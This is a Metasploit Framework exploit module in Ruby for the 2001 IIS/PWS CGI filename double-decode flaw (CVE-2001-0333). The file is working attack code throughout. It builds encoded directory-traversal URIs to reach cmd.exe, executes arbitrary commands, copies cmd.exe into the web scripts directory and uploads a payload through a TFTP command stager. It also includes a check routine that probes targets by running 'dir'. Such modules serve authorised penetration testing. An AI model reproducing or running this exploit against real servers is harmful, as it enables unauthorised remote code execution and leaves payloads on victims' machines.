##
# $Id: ms01_026_dbldecode.rb 9376 2010-05-26 22:46:10Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::CmdStagerTFTP

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
			'Description'    => %q{
					This module will execute an arbitrary payload on a Microsoft IIS installation
				that is vulnerable to the CGI double-decode vulnerability of 2001.

				NOTE: This module will leave a metasploit payload in the IIS scripts directory.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9376 $',
			'References'     =>
				[
					[ 'CVE', '2001-0333' ],
					[ 'OSVDB', '556' ],
					[ 'BID', '2708' ],
					[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0
			))

		register_options(
			[
				Opt::RPORT(80),
				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
				OptString.new('EXETEMPLATE', [ false, 'Use this EXE as a template for the command stager',
					File.join(Msf::Config.install_root, "data", "templates", "template_nt4.exe") ]),
				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
			], self.class)
	end


	def dotdotslash
		possibilities = [
			"..%255c",
			"..%%35c",
			"..%%35%63",
			"..%25%35%63",
			".%252e/",
			"%252e./",
			"%%32%65./",
			".%%32%65/",
			".%25%32%65/",
			"%25%32%65./"
		]
		possibilities[rand(possibilities.length)]
	end


	def mini_http_request(opts, timeout=5)
		connect
		req = ''
		req << opts['method']
		req << ' '
		req << opts['uri']
		req << ' '
		req << "HTTP/1.0\r\n"
		req << "Host: #{datastore['RHOST']}\r\n"
		req << "\r\n"
		sock.put(req)

		# This isn't exactly awesome, but it seems to work..
		begin
			headers = sock.get_once(-1, timeout)
			body = sock.get_once(-1, timeout)
		rescue ::EOFError
			# nothing
		end

		if (datastore['DEBUG'])
			print_status("Headers:\n" + headers.inspect)
			print_status("Body:\n" + body.inspect)
		end
		disconnect
		[headers, body]
	end


	def check
		res = execute_command("dir")
		if (res.kind_of?(Array))
			body = res[1]
			if (body and body =~ /Directory of /)
				return Exploit::CheckCode::Vulnerable
			end
		end

		Exploit::CheckCode::Safe
	end


	#
	# NOTE: the command executes regardless of whether or not
	# a valid response is returned...
	#
	def execute_command(cmd, opts = {})
		uri = '/scripts/'
		exe = opts[:cgifname]
		if (not exe)
			uri << dotdotslash
			uri << dotdotslash
			uri << 'winnt/system32/cmd.exe'
		else
			uri << exe
		end
		uri << '?/x+/c+'
		uri << Rex::Text.uri_encode(cmd)

		if (datastore['VERBOSE'])
			print_status("Attemping to execute: #{uri}")
		end

		mini_http_request({
				'uri'     => uri,
				'method'  => 'GET',
			}, 20)
	end


	def exploit

		# first copy the file
		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
		# NOTE: this assumes %SystemRoot% on the same drive as the web scripst directory
		res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")

		if (datastore['CMD'])
			res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
		else
			execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
		end

		print_status("NOTE: The copied cmd.exe and payload binaries must be deleted manually")
		# NOTE: We try to delete the copied exe here, although if the payload is running,
		# we probably can't delete it due to it being in use...
		execute_command("del #{exe_fname}")

		handler
		disconnect

	end

end
